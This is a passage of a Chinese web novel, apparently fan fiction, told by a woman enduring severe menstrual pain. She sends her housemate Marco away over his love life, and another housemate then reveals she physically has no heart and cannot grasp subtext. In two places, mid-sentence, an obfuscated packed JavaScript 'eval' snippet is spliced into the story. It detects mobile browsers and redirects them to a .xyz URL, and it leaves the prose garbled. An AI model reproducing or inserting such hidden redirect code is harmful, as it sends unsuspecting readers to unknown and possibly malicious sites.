“嗯,我在,”他果然应答,与我仅仅一门之隔。 “……”我却没有什么要说的。肚子很疼,疼得我无法起身,蹲在地上一动不动。 自从马尔科到来,我已经许久没有这样疼过了。小腹处不断传来撕裂般的痛处,起初是一下,像走路崴脚一样,剧痛骤然而至,不鸣则已一鸣惊人;然后是千百下,如万人擂鼓,每一锤都显雷霆万钧之势,一锤锤重击在我的小腹上,誓要敲个粉碎。 我没有办法控制它——它是一种单纯的生理反应,撕裂的痛处会麻痹神经,使我不得不卑躬屈膝。 我只能忍耐,唯一能做的有且只有不断忍耐,不断提高身体承受的阈值,直到我可以重新站起来。 这是“老毛病”了,原发性痛经。 许多女生都有这“毛病”,我并非特例,只不过我的情况尤为严重——卡卡西说,我这根本不像是痛经,像是每个月准时过一遭鬼门关。 “……”我不理解,毕竟没有那种诡异的经历。 卡卡西倒是有。 “鬼门关啊?鬼门关就是——”他兴致勃勃地要和我分享。 “什么地狱笑话!”修兵满脸嫌弃,不准他说。 但话本身并没有说错:越是极致的历练越使人成长。 我已经经历过许多次死里逃生的淬炼,每一次都是物理意义上的浴血重生。 我早已不是从前的我。提高阈值的方法是可行的。一星期、半星期、三天、两天、一天、半天、七八小时、三五小时、一小时、半小时……咬着牙一直坚持到现在,我已经可以在十来分钟内重新夺回身体的控制权。 我可以站起来,而不是瘫痪在床。只要我站起来了,它又有什么可怕的呢? 那句话说得好:杀不死我的,终使我更强大——何况我是货真价实的“浴血重生”。 这也是一个“地狱笑话”。 严禁讲“地狱笑话”——在第三届家庭会议上,严肃文学巨匠桧佐木修兵先生颁布了这条法则。 卡卡西的“鬼门关”被明令禁止:一来不吉利、触霉头;二来,生死乃人生大事,拿它开玩笑,对生命全无敬畏之心;三来已然愈合的痂查不要反复去撕弄,那对康复有害无益。 我的“浴血重生”也被勒令收声—— “玩笑说出来要让人感到轻松好笑,但你这个让人感觉生理不适!”修兵狠狠批评我。 “‘浴血重生’哪里令人不适了?”我不理解,都什么年代了,不会还有人存在“生理期羞耻”吧? “大小姐……” 刚被训完话的卡卡西偷偷推我胳膊,让我留意修兵诡异的脸色——他脸红了,不是羞耻,是单纯的羞赧。 五百多岁的酷哥的外皮下,少年心性纯洁得像玲珑剔透的冰晶,听不得一丁点带颜色的说笑。 黄的不可以。 红的居然也不可以。 …… 肚子越来越疼了。 我靠在墙角,脑海里的记忆不断闪回。朝朝暮暮像走马灯一样在我眼前放映,我被迫翻阅,并无遗憾,我竟然想笑。 “……马尔科。” “嗯,怎么了?” 我咬着牙,用最轻松的语气问他:“刚才、刚才修兵脸红了吗?” “啊?嗯,”他不否认,也笑呢,“一瞬间连耳朵都红了,修兵是真的害羞啊……” 生理期真的没有什么好羞耻的,但修兵的确是一个非常害羞的人。 我不由得笑起来,由衷想起第一次接到修兵的时候,我们还没有像这样熟悉彼此,却是彼此的唯一。 他很害羞的,哪怕我只是靠近他一点,他都会面红耳赤,无法呼吸…… 但这些回忆只有我一个人知道,卡卡西来到这个家的时候,修兵已经不是那样了。 那时候,即便我酩酊大醉瘫在沙发上不省人事,他也只会咬牙切齿地斥责我“少喝点”,然后又拗不过我醉酒贪杯,骂骂咧咧地把我背回房间。 那时候我们的生活并不像现在这样拮据。 那时候我们住在极尽奢华的独栋别墅里,方圆数百里都是我的庄园。 那时候我们有山一样丰实的积蓄,奢侈品堆积得偌大的别墅无处立足。 那时候我们从不为钱财忧虑,庭院里有方正的游泳池,每天修兵都会去游泳,我在边上的浅水池踩水,围观他像灵活的鱼翻腾在水中…… 修兵是安静的人。尽管乱花渐欲迷人眼,但他钟情的从来都只有文学。 没有人逼他去创作。我们家不缺钱,不需要那点微不足道的稿费。是他自己想要去创作,文学、音乐、美术……一切和艺术有关联的事物,修兵想,所以他去做。 他开始不舍昼夜的写作,尝试向外投稿。文章第一次被录用时,我给他送了一只钢笔。对于那时的我们来说,一只钢笔的价格微不足道,然而到今天,它却成了修兵身上最昂贵的点缀…… 对了。还有卡卡西,卡卡西也一样。 卡卡西并不是一个纯正的文学青年,曾经对《亲热天堂》系列的狂热并不足以支撑他对文学的喜好。我曾尝试把“修兵三件套”照搬给卡卡西体会——他不喜欢,他的眼睛不会像修兵那样发光,腿也不会像修兵一样钉在原地。 曾经的迷恋好像是一种贫瘠里聊胜于无的慰藉。而这里可选择的娱乐项目太多,聊胜于无毫无吸引力。 很多人来到这里,都因为眼花缭乱的选择变得“迷失自己”“不像自己”,而事实上,撇开那些环境的限制,来到这里以后,许多人才第一次遇见“真实的”自己。 卡卡西和从前的卡卡西是不一样的。 他不看《亲热天堂》,像所有的男孩子一样,茶饭不思地沉迷于电子游戏。我起初认为这会成为他日后的最爱。为此我买来了市面上所有的游戏卡带,改造了地下室,让他有充裕的空间体验。 然而比起游戏,我逐渐发现卡卡西真正痴迷的是工作。 是的。世界上真的有人沉迷于枯燥乏味的工作! 准确地说,卡卡西喜欢做任务,享受解谜时抽丝剥茧的过程。普通人常常畏惧困难,但真正的“天才”偏爱迎难而上。 游戏里的关卡很快被他一一突破。真正的“天才”一旦通关,就会进入举一反三、一通百通的无敌状态。玩家们公认的“最难解谜游戏”,大众水平三年也不能闯过六十关。玩家“小鲸鱼吐泡泡”在三天内速通一百关。 游戏已经不能给与卡卡西“享受”了,于是我让他接手办事处的工作,给予他权柄,让他自由选择。 我不喜欢工作,我只想在家里躺着。卡卡西和我不一样,一有活干,他像是被点燃的蜡烛,瞬间绽放出光芒。 …… 每个人都有自己独特的人生课题,有时候,得失并不在表象。 在我眼里,“家道中落”只代表一种境况;它没有好坏,一定要说的话,或许是件好事。 修兵喜欢文学,文章憎命达。巨大的生活落差、高压的生存环境……对于修兵来说是尤为宝贵的历练,不可多得的财富; 卡卡西喜欢做任务。家庭巨变、债务缠身……非但不影响他做任务,反而给他源源不断的动力,让他更多一个沉浸工作的理由; 至于我—— 我无所谓,事已至此,多说无益,我接受一切结果。而就结果来看,捉襟见肘的经济状况并没有给我们家带来真正意义上的“困扰”。 ——从前没有,直到马尔科的到来。 我没有不欢迎马尔科的意思。 我是说,我很抱歉,即便过去已经是过去,过去不值一提,但现在,修兵的手上仍然有一支价值不菲的钢笔,卡卡西的衣橱里还收藏着一台珍藏版本的游戏机。 他们并不在乎荣华富贵,但至少经历过。而马尔科呢?自从他到来,他一无所有。 我什么都没有给过马尔科。 一只手表?那不算,手表上没有烙印他的名字,不是为他而存在。我不能欺骗他,也不能欺骗我自己。 我什么都没有给过马尔科。 我已经不是从前的我,已经没有条件给他配备自己的房间、自己的车辆、自己的……一切,甚至于他都没有独属于自己的衣柜、独属于自己的一张床。 我偶尔会想,他凭什么没有呢? “不死鸟”不是宠物,是活生生的人。何况就连宠物都可以有自己的房间,马尔科为什么没有?他为什么必须和我共用房间?为什么一定要“将就”地和我共享? ——这不公平,不是吗? ——同在一个屋檐下,明明修兵和卡卡西都有,凭什么只有马尔科没有呢? 这不公平。即便他很温柔,对此毫无怨言,但我仍然给得太少,对他有所亏欠。 ……我很抱歉,可这就是我的现状。而且我必须承认,这种现状我甚至无力改变。 每个管理员都有一个专属的办事处账户。而我的账户上,负债数字一眼望不到头。 六年了,即便“天才”亲自出马,一年完成几百万的任务,再加上我的工资、各种补助……距离彻底还清这笔欠款也遥遥无期。 可以预见,在今后很长一段时间内我们都得继续过这样的生活:我在家待着,少闯祸;卡卡西去办事处工作,尽量还清欠款;修兵努力赚钱,维持家庭运转。 好消息是:至少他们都热衷于自己的工作。困乏的物质条件非但不影响,甚至会促进精神世界的发展。 坏消息是:一旦办事处账户被冰封,失去了管理员正常谋生的手段,单靠普通人的工资生活……着实杯水车薪。 这六年以来,我们家的条件在逐步缓解,但至今也仍处于窘迫之中。 卡卡西总要刮干净所有的刮刮乐,以此缓解修兵的压力。拜马尔科所赐,今年我们中了奖,新年期间的一万余张刮刮乐总共兑换了251万。 超过十万的部分需要去办事处公正领奖,奖金走办事处的账户——我的办事处账户还欠很多,无论是奖金、工资、还是任务赏金,但凡走办事处账户都会被用来抵债;只有十万以下的零头可以兑换现金,卡卡西抽空去兑换了一万块。 一万块不多。往年不中大奖,我们家能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889964|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑出个两万左右。一万按专款专用制度,存到当年的旅游资金中;剩余一万冲入生活账户,给每个人发一点零花钱。 今年的刮刮乐活动没有给我们带来零花钱增益。即便修兵年年涨工资,可支配的零花钱总额仍然不多;甚至因为家里多了一口人,每个人平分的份额比往年更少。 …… 那点钱微不足道,勉强可以支撑马尔科的日常开销,却绝不足以满足他的恋爱开支。 恋爱当然需要开支。爱情固然是情感链接,但投射在日常生活中,也离不开金钱的维系。马尔科还是学生,没有稳定的收入,他的恋爱资金当然要由家庭来负担。 可我们家拮据,别说恋爱资金,我甚至都给不了他一个单独的房间…… 我还想着我的梦—— 我不知道为什么会做那样的梦?为什么梦里的马尔科会对我说“他是我的”? 他本来就是我的啊!在办事处登记了,他是我手下的能力者,这是事实,不是吗? 那又为什么有梦呢?我的梦究竟在表达什么? …… 我不理解。冥思苦想,任由脑海里回忆的走马灯反复上映。我反复确认我没有遗憾,如果一定要有,那唯有对马尔科的亏欠。 我记得他到家的第一天晚上,夜色粘稠如浓墨。 家里没有额外的房间,他不得不和我一起住。彼时我们互不相识,却要分享同一张床,同一个房间。这当然不合常理,不是吗?所以卧室里分明有两个人,我们躺在一起,却恍如无人之境。 我一夜未眠,不习惯耳畔多出一道呼吸声。即便他沉默而缓慢,不具备危险性,却仍然让我感觉不适。我的神经会不自觉绷紧,从天黑到天亮,不断地提醒我旁边人的一举一动。 我睡不着,想来马尔科也一样。 我没有关注过修兵和卡卡西初来乍到的当晚是怎样的状态。因为他们都有自己的房间,关上门,那片天地不受我管辖,他们是自由的,房间是安全的,我不会入侵他们的领地。 而这一切,在马尔科身上却不存在。 他从来都不是安全的,管理员对于能力者有碾压性的力量。 但即便是管理员我——起初,连我都满是不自在。 家不是监狱,不是牢笼。可对马尔科来说,家怎么不是呢? 人是一种动物,会和所有动物一样,对陌生的环境抱有天然的警惕。那些不安会使人生理和心理层面受到双重折磨。 初来时,一连好几晚马尔科都不肯入睡。 他真的只是在缅怀过去吗?我忍不住地想。 或许那个梦就是要告诉我,他是我的。而我作为他的管理员,我没有让他过上好一点的生活。 这是我的问题,我没有给予也没有能力给予他丰沃的物质条件。且可以预见的是,无论是短暂相逢的过去,还是现在和未来,这种贫瘠会一直持续。 但马尔科本可以不必生活在贫瘠中。 他可以像所有的学生一样,呼朋引伴尽情欢笑,去购物、去旅游,穿最漂亮的衣服,参与最热闹的狂欢;而不是在食堂里按部就班地打饭,每月和我计算超支情况…… ——这不公平,真的! 我不能再回忆了。眼下的回忆已经足够让我认清现实,做出决定,再多的回忆只会把我推远。 时间差不多了。我从地上站起来,隔着一扇木门和马尔科对话。 “马尔科。” “嗯?” “你会期待爱情吗?”我开门见山。 “……呃,这个,”他模棱两可地回答,字里行间却含着按捺不住的笑意,“这怎么说呢,就还好吧。” ——他内心期待着。我知道答案了。 倘若不期待,他只会不假思索地回绝,就像回绝篮球队一样,而不是这样欲说还休的表露迟疑。 原来只是我多虑,马尔科并没有“漫不经心”,他对爱情有自己的认识和憧憬……是我不够了解他。他喜欢经理这么久,从去年开始“一见钟情”,而我居然现在才知道,现在才开始考虑其现实。 而现实……我很抱歉。 即便我最大限度地给予他自由选择的权利,也无法改变我没有提供丰足的物质基础。 可他是自由的,我希望他能过更自由的生活。 “马尔科,你想要和喜欢的人一起生活吗?” “这是什么问题?” “你回答我。” “好吧,”他告诉我,“那当然想啊。” “那她也喜欢你吗?” “她……”他迟疑了,很久才缓缓笑道,“嗯,我认为是的。” 所以马尔科有喜欢的人了,他们两情相悦,想要在一起生活。 我不知道自己有什么留下他的理由。我什么都没有给他,我给他的只有枷锁。 “马尔科,那……你走吧。”我决定了。 “哈?” “你走吧,离开这里。” “什、什么意思……”他愣住了,好半天瞠目结舌,反问道,“我喜欢她……就要离开这里吗?” “……”不是的,但究竟是什么呢,我不擅长解释,只会陷入无力的漩涡。 总之,他要离开这里。 他应该过更好的生活,去追求梦想、爱情、荣耀,而不是跟着我,连一间属于自己的房间都没有。 他需要属于自己的房间。 如果没有,他又怎样去收容自己的爱情?总不能叫经理住过来,睡在我们中间。 这不现实,未免太过荒谬。 首先,普通人无法和能力者、管理员一起生活,他们无论体魄还是精神都较为脆弱,不能把一只兔子放进狮群,兔子会死,即便狮群不杀生; 其次,我甚至无法提供一间屋子给马尔科用,又哪里来房间给他们两人?可是爱情是两个人的事,与我这第三者无关。马尔科一旦恋爱,我就再也不可以和他同居一室——经理会吃醋的,她已经吃醋了; 最后,既然是找个医生来照顾我,马尔科现在不可以再和我形影不离,他已经不适合做我的医生。既然如此,为什么不放他走? 我没能给他好一点的生活,也给不了他那样的生活。 但起码,我还可以给他自由。 “是的,”我告诉他,斩钉截铁,“你喜欢她,就要离开这里。” “……”门外没有回应。许久之后,传来他冰冷的应答。 “——那我不喜欢她了。” 脚步声渐行渐远。 我听不懂他在说什么,只听见他走了。迈步的频率比寻常缓慢,鞋跟踏响地板的力量却又异常沉重。两者的组合让我不由得想起那位消失在人海的女孩—— 我记得她走了,周身颤抖着,不是走,是小步快跑。 马尔科也走了。 隔着一扇木门,我看不见他的身影,不知道他是否也像那样落荒而逃? 50.20 亏欠(3) 我们一整天都没有说话。 我可以站起来了,但我还没有彻底拿回身体的主动权。这个过程较为缓慢,一整天我都无法离开房间,马尔科也没有再回来过。 我不知道他在哪里、在做什么,想来没有听到外出的开门声,人大抵在家,但家里极静,没有一丁点人为的声音。我无法判断他的轨迹,过分的寂静甚至让我怀疑马尔科究竟还在不在家?如果不在家,他会去哪里? ——但我为什么还要知道他在哪里? 离开我们家是最好的选择,对他有益无害。我既然已决定送他远行,就不应该再给予他更多的关注。 过多的羁绊只会徒增彼此的念想,非但无助于他踏上崭新的旅途,还会使双方深陷当断不断反受其乱的泥潭。 羁绊从来都是一种枷锁。从前是这样,现在亦然。 但马尔科是自由的鸟,他应该去更广阔的天空翱翔。 我不能再关注他了,于他于我都有害无益。 我太疼了,许久没这么疼过。小腹不时有撕裂般的痛感,始终有如刀割。 我控制不住身体的颤抖,水珠顺着脸颊大颗大颗地往下滚,星星点点溅落在枕边,我甚至分不清它究竟是额上的冷汗还是眼里的珍珠…… ——是冷汗吧?我冷不丁地想着。 珍珠未免太浪漫,而它从来都是一场战斗。 这是战斗!不能分神! 我咬着牙,尽力消除自己不合时宜的念头。直到傍晚时分,屋里全无光亮。 房门有被打开的动静。修兵近期要加班,早早说过今晚不回家。我缓缓起身探出头去,果然在客厅里见到了多日不见的卡卡西。 “嗨~家人们~”他满脸带笑的推开家门。 “……”客厅里灯开着,却空荡荡的,无人应答。 “你们人呢?”他在屋子里询问,“马尔科?在吗,马尔科?” “啊?”马尔科的声音从厨房里传来,后知后觉道,“噢,你回来了。正准备做饭,在家吃吗?” “在家吃。对了,大小姐呢?” “呃……在房间,”马尔科欲言又止。 我刚要招呼卡卡西,门一推,两人的目光不约而同地转向了我。视线猝不及防地撞上,我和马尔科双双一愣,房间里瞬间充斥起难以忽视的尴尬。 我们默契地保持沉默,谁也没有说话。马尔科转身进了厨房。卡卡西冲进房间来捉我—— “出什么事了?”他皱着眉,狐疑道,“气氛怪怪的,你和马尔科怎么了?” “没怎么。” “没怎么?”他不信,“几天不见,大小姐都学会骗人了?” “我没有。” “还说没有?”卡卡西敲我脑袋,“你不说我就去问马尔科。” “……” 我不知道他为什么一定要知道具体的内容。对于令人感到不悦的事情,我想我们应该按照成年人的方法,默契地绝口不提,直至故事翻篇——就像刚才我和马尔科那样。 但卡卡西这个可恶的大反派,他偏要捅破这层窗户纸。 “马尔科——”他扯着嗓子叫喊,“先别做饭了,关火,过来一趟!” 卡卡西提着我命运的后脖颈,我毫无办法,刚从鬼门关凯旋,身体疲乏无力,像棉花一样瘫软,正方便他轻松将我从卧室提到客厅。马尔科刚从厨房出来,我们冷不丁地又撞上一回。 “……”空气里再次充斥起令人窒息的尴尬。 “怎么了,卡卡西?”而他面不改色地询问着,仿佛无事发生。 “我有事找你,你先坐这里。” 卡卡西安排他坐沙发,顺手提来一张椅子,让我坐到椅子上。他站在我面前,抄着手,神情严肃,做出一副十足的审讯姿态。 “说吧,大小姐。” “说什么?” “说说你们两个怎么回事——马尔科什么都让着你,他不会跟你吵架——说说吧,怎么回事,你单方面欺负人是不是?” “……” 我没有,我不是,卡卡西怎么乱说啊? 几句话问得我哑口无言。正是辩驳时,嘴又笨拙得说不上话来。我空张开嘴,看看卡卡西,又看看马尔科—— “别看他,”卡卡西挡住我的视线,“快交代,怎么回事,你们之间发生了什么?” “没什么!”我坚持着,我们之间真的什么也没有发生。 卡卡西不信,从房间里找来了一张“真话卡”——那是我们一起制作的“魔法卡片”。 我和卡卡西之间没有默契,以防误解,我们约定,不可以对卡片隐瞒或者撒谎。 “说吧,大小姐。” 现在他抄着手,杵在我面前,一定要听我阐述。 我只好说了,我不可以对卡片有所隐瞒。 “……没什么。” 我坚持认为我们之间没有发生大事。我只是想帮马尔科隐瞒一个秘密,如今无法隐瞒,我也只能和盘托出—— “他有喜欢的人了。” “哈?”卡卡西挑着眉,看着我,又看了看马尔科。 他那神色瞬息万变。 我拿不定他的想法。马尔科有喜欢的人了——这本应该是一个秘密,但卡卡西怎么毫不惊讶的样子? 他不问马尔科,反而问我:“你怎么知道他有喜欢的人?” “……”马尔科就坐在对面的沙发上,我下意识地看向他。 卡卡西眉头一挑,转向了马尔科:“你自己说的?” “啊……嗯。”他迟疑着点头。 “你怎么说的?” “这个……”他欲言又止,目光穿过卡卡西,遥遥看向了椅子上的我。 卡卡西的问题太多了。这张卡片是我和卡卡西的约定,只对我有效。 我抢走了卡片,不要他再为难马尔科。我也是当事人,我来说——无论他要知道什么都可以,我都会如实阐述。 “……情人节那天,有女孩子对马尔科表白,他拒绝了。我提醒他,他有得到爱情的可能,所以遇到可爱的女孩子要留心。但他说可爱的女孩子他已经认识了,而且也已经有了喜欢的人!” 至于什么“他喜欢的人特别好”“他真的很喜欢,甚至于想一起生活”…… 我全都可以坦白。唯独马尔科喜欢的人究竟是谁——那是他的心事,如果他自己不说,我仍然要为他保密。 “……就是这样。” 我的阐述结束了。而卡卡西满脸疑惑。 “就这些?”他狐疑的目光不断游走在我和马尔科之间,“是这样的吗,马尔科?你就这样跟她说的?” “唔……嗯,是这样。”马尔科没有否认。 事实正是如此,一如我的阐述。家里的气氛固然很僵持,但我们之间的确无事发生。 卡卡西不以为然,拧着眉,问完马尔科,又开始盘问起我—— “那然后呢?” “什么然后?”我不明白。 “然后你做什么了?马尔科有喜欢的人了不是好消息吗,为什么家里变成了这种气氛?” “我没做什么啊,”我如实答复,“我叫他走,离开我们家!” “他有喜欢的人了,和离开我们家有什么关系?”卡卡西不解。 他一贯聪明绝顶,我也不能理解为什么他会在这方面犯糊涂? “那不然呢?”我反问他,“他有喜欢的人了,我让他走,去和自己喜欢的人一起生活!不对吗?” “……”无人应答。 我的声音或许有点太大了。 当我话毕,客厅里瞬间没入死寂。 我不知道事情怎么会发展成这样…… 我承认我的声音是有点大,听起来又像是在吵架。但我没有在和卡卡西吵架,我只是手笨口拙,不擅长解释。那些回忆在我脑海里闪现,走马灯放映数年,抬头却只是须臾一瞬。那样复杂的思绪叫我怎么能一五一十地阐述呢? 我说不清楚啊! 卡卡西频繁的追问只会加剧我口不择言的窘迫——他从前不这样,我从前也不这样。 我们从不像这样歇斯底里的对话。骤然加大的音量显然惊到了他。 卡卡西不说了,看着我的神情处处透露着古怪。 我不知道他思索着什么,他留给我的只有一阵冗长的沉默。 沉默……也好。这件事本就应该沉默着直至翻篇。 成年人解决问题的方式总是这样成熟和平和。在这个问题上,我和马尔科有同样的默契——如果不约而同的沉默可以被称为“默契”的话。 卡卡西偏不—— 他很快从沉思里脱身,然后把我从椅子上提溜到了沙发上,径自坐到我和马尔科中间。 “很明显,这里头有一些误会,”卡卡西告诉我们,“我大概知道它是什么,但我还需要确认一下。鉴于你们的阐述各有保留,大小姐又表述不清……现在开始听我说,你们回答是或者不是?” 他太严肃了。 “……”我搞不懂他想干嘛,但这份肃然使我不得不点头,听从他的安排。 “嗯,好的。”对此,马尔科也没有异议。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903631|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那好,”卡卡西清了清嗓,“首先,马尔科有喜欢的人。马尔科,是或不是?” 他看着马尔科,马尔科却偏头,不自觉地看着我。 “回答我啊——”直到卡卡西催促。 “是的。”他的答复掷地有声。 卡卡西满意地点头,又转向我:“其次,马尔科告诉了大小姐,自己有喜欢的人——大小姐,是或不是?” “是的。”马尔科的确说过这样的话,时隔不久,我清楚地记得。 卡卡西仍然点头:“接着,马尔科只说自己有喜欢的人,但没有说他喜欢的人具体是谁——马尔科,是或不是?” “呃……”他略有迟疑,目光又投向了我。 “你只答是或不是?”卡卡西半路拦截,要他快速答复。 “是这样。”马尔科答。 “嗯……”卡卡西点着头。 我还在等一个“最后”,按照规律,最后一问卡卡西应该会选择询问我。但卡卡西一合掌,突然宣布:“好了,那我明白了。” “啊?”我一头雾水,他怎么不按常理出牌? “啊什么,”卡卡西宣布,“这很清楚,你们之间的确有误会!” “误会?”我不明白,“我们之间……有吗?” “有啊!”卡卡西信誓旦旦。 可我们之间能有什么误会啊?我不明白他在说什么。 卡卡西却并不对我解释,而是询问起马尔科—— “马尔科,你们相处这么久,你有没有感觉到大小姐有些不对劲?” “什么不对劲?” 我不知道卡卡西要干嘛,马尔科也是一头雾水。 “你没有感觉吗?”卡卡西问,“譬如说她回话总是慢半拍、多说几句就说不清楚……明明许多细节都可以表明她思维流畅且清晰,理应非常聪明才对,但生活里却总是莫名的笨拙,完全是个笨蛋啊?” “唔,那倒是有……”马尔科飞快地瞥了我一眼,没有否认。 “那就是了,问题就出在这里,”卡卡西一把抓住了我,和马尔科讲,“上次我说什么来着?千万别让大小姐和外人接触,她漂亮是漂亮,但是个缺心眼——” 我被他捉住了,尚且搞不清状况几何?卡卡西把我顺手一转,按在了沙发上。 “你瞧——” 他一把掀开我的衣服,露出我光溜溜的后背,以及我心口位置赫然的空洞。 在马尔科的震惊里,我听见卡卡西介绍着我自己—— “看见了吗?马尔科!大小姐没有心!” “心脏、心跳、脉搏……她没有,什么都没有!” “她的心是一个空洞!” “她是真缺心眼,物理意义的缺心眼!” “这……” 马尔科接不上话,愣在原地,瞠目结舌。 “你好好看看!” 卡卡西把我拎了过去—— 是真的,我没有心。 在我的心口处,没有心脏,只有一个贯穿的空洞。 卡卡西没有骂我。我是缺心眼,这不是一句形容,我真是缺心眼。我没有心,真的没有。 这当然是一个地狱玩笑,和“鬼门关”“浴血重生”一样,平日里,修兵三令五申不允许我们随意说笑。它本应是我们家绝对的秘密,但现在,卡卡西神色肃穆地公布—— “你看到了吗?马尔科!她真的没有心!” “没有心、没有感情、也理解不了感情——她不能像我们这样感受,你觉得不太对劲,是因为一直以来,她没有办法真正地领会你在说什么。无论你说什么,大小姐都只能用大脑去接收。” “她需要观察你的表情、分析你的意图,要非常熟悉才能勉强判断出你具体在表达什么——这种情况没有办法处理复杂社交,因为她只能阅读字面含义,没有心,就无法感受到字面之外的意义。” “画外音她听不懂的,”卡卡西告诉他,“马尔科,你明白我的意思吗?” “……” 马尔科没有接话。 即便卡卡西又已解释良多,而他仍维持着僵硬的姿势,在震撼里大惊失色。 …… 这反应再正常不过了,谁看到这种东西都难免沉默。 卡卡西叹了口气,不再向下述说。绝对的寂静里,我听见马尔科忘记了呼吸。 他真的很温柔……连惊天动地的震撼都仅是春风化雨、悄无声息。 这已经足够了。至于我没有心,没有感情,无法体会——这件事,我不奢望他理解,毕竟连我自己都不明白。 51.20 亏欠(4) 老实说,我还不明白——卡卡西为什么突然说起了这些? 他一口咬定我们之间有误会,但他口口声声所说的“误会”究竟是什么?卡卡西却并没有阐述。我不明白他为什么不和我说话,只和马尔科说?为什么不和我解释,只和马尔科解释? ——这很奇怪,不是吗? 卡卡西从不是那样的人。我们相处得很好,多年以来,他一直无微不至地照顾着我。 如果不是他非要提出、非要通过“大小姐优先原则”,我压根不会有这么多“特权”。 卡卡西的表现非常奇怪。 这种反常让我逐渐意识到一件事—— 是的,我没有心,没有感情,无法理解环境里的话外音。 我只能用大脑推理,观察他们的表情,不断地提出假设,再一一论证。 我假设卡卡西是我认识的卡卡西,他所做的一切都是为我好。 那么今天卡卡西为什么紧抓着话题不放?他为什么一改常态地突然对我严肃起来?他为什么反复提及着“误会”?到底什么是他口中的“误会”? 我不知道啊! 我无法理解到他们在转瞬即逝的对视里,双双产生的情绪变化;我只能猜测,他始终在对马尔科解释,或许是我和马尔科已然产生了某种“误会”?这种“误会”终究于我不利,否则他不会费尽心力地解释。 但到底什么才能被称之为“误会”?我又“误会”了什么呢? 这我不知道。我真的不知道! 至今我都不明白为什么卡卡西突然说起了我的心? 没错,我是缺心眼,这是事实,事实无需隐瞒。但它太突然了,一如卡卡西所说,这并不是能随便拿出来讨论的内容—— “抱歉,马尔科。这都怪我,这半年太忙,没有时间跟你说清楚。她没有心这件事……大小姐没有隐瞒的意思,但安全起见,我们会尽量避免提及,也早早告诫过她,不许她挂在嘴边。” 我没有心——这毕竟太骇人听闻了。 卡卡西努力地解释。即便马尔科愣着,似乎一句也没有听见,但卡卡西仍坚持不断地述说。 “你刚来时,我和修兵都不能透露太多……我想着等你发现了再告诉你,没想到先闹出了误会。” “我很抱歉,马尔科。这是我的错,交接工作没有做好。” “别跟大小姐一般计较——她没有心,一直都没有。我们说的话她什么都听不懂。这种事也不能怪她,对吗?如果那些话伤害到你,我很抱歉,是我的问题。” …… 马尔科没有应答。 时间缓慢地流逝着,饭厅里的指针滴滴答答地划动。他始终像一块石头,苍白没有颜色。 沉默一直延续。 我扭了扭身子,想转身看看到底发生了什么——卡卡西为什么为我道歉?虽然不知道原因,但我大概知道我可能是……闯祸了。 听他的意思,我可能……无意间说了什么,这些话伤害了马尔科。 可我仍然把握不住问题的关键。 我听不懂他们在说什么,我没有心,无法理解这些对话背后的含义。卡卡西的注意力不在我身上,我费力地回过头,二人的神色无一例外的平静无虞…… 我看不出端倪。只能在无尽的沉默里长久等待。 等到卡卡西也沉入沉寂。马尔科终于肯开口,语气平静却颤抖,像极了平整的水面下不断翻涌的暗流。 “听不懂……是什么意思?”马尔科问。 “哦,这个,怎么说呢……”卡卡西松了口气。 “我不是她,没有办法清楚地向你展示。总得来说,就是字面意思的‘缺心眼’,直来直往,笨拙、木讷、不灵光,”卡卡西说,“大年初一,大小姐想要修兵签名照的事你还记得吧?” “嗯……”马尔科点着头。 “那你知道她私下问了我什么吗?”卡卡西提问。 我私下询问卡卡西的话,自然只有我和卡卡西两个人知道。 马尔科无从得知。闻言,他神色迷茫地看了看我,摇了摇头。 屋子里总是充斥着与春日不合的宁静。 太安静了。连卡卡西的叹息都让我感觉动听。 “听说那天的宣传广告上标注,修兵的签名照限量二十份,会销毁底片——这你知道吗?”他语气轻快了许多。 “知道,”马尔科肯定。那天我们一起拿到了宣传册,我看到的,他自然也看到了。 “你信吗?”卡卡西又问,“销毁底片,永不再印——这种话,你信吗?” “……”马尔科拧了眉,没有回答。 “但大小姐信哟!”卡卡西告诉他,洪亮的声音震耳欲聋,“她没有心,没有感情,没有办法分辨虚张声势的谎言。无论谁在她面前说什么,大小姐只能按照字面意思,全部当真的噢!” “……”马尔科又不接话了,目光幽幽地投向了我。 我……没有什么好争辩的。这件事是真的。 我的本意的确是收藏一张限量版的修兵签名照,但事情演变的结局大大出乎了我的预料——主办方信誓旦旦是“限量版本”,事后会销毁底片,无法复刻。 所以我不得不收藏一份,由此才引发了家里的照片大战。 然而一轮大战暂停后,我不仅拿到了传说中会销毁的“底片”,还得到了一系列未发售的周边图。 “为什么会有这些?!”我不理解,咨询卡卡西,“不是限量吗?” “怎么可能限量,”他哈哈笑着,“商家促销的手段而已呀,笨蛋!” “!”我惊了——什么!原来是不限量吗? 怎么会不限量呢?大家都是文字工作者,修兵的同事怎么骗人呢! …… “你看,就是这种表情!” 这对我来说太震撼了!卡卡西单单说起,我仍会陷入莫大的震惊中。身体尚且被按在沙发上动弹不得,但我努力地偏过头,朝着他们瞪圆了眼睛。 这反应在卡卡西眼里或许早已习以为常,他果不其然地拿我说事。 “看到了吗?马尔科,这惊讶可不是装出来的,她是真好骗啊!” 我没有在假装,我是真不知道。 卡卡西为我作证。他照顾我多年,相当有发言权。 